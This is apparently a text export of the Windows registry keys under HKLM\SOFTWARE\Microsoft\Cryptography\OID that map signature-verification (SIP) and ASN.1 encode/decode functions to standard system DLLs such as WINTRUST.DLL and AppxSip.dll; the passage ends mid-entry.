HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\SysWOW64\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\SysWOW64\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\SysWOW64\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\SysWOW64\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\SysWOW64\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\SysWOW64\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyCTLUsage\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\SysWOW64\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyRevocation\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\SysWOW64\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2000
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2001
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2002
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2003
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2004
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2005
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2006
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2007
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2008
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2009
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2010
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2011
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2012
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2130
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2221
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2222
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2223
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.1
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.16.1.1
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.16.4
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.10
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.11
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.12
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.15
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.20
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.25
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.26
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.27
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.28
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.30
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.1.1
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.1
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.11
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.12
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.2
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.3
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.4
    Dll    REG_SZ    C:\Windows\SysWOW64\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2000
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2001
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2002
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2003
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2004
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2005
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2006
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2007
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2008
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2009
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2010
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2011
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2012
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2130
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2221
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2222
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2223
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.1
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.1.1
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.4
    Dll    REG_SZ    C:\Windows\SysWOW64\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.10
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.11
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.12
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.15
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.20
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.25
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.26
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.27
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.28
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.30
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.1.1
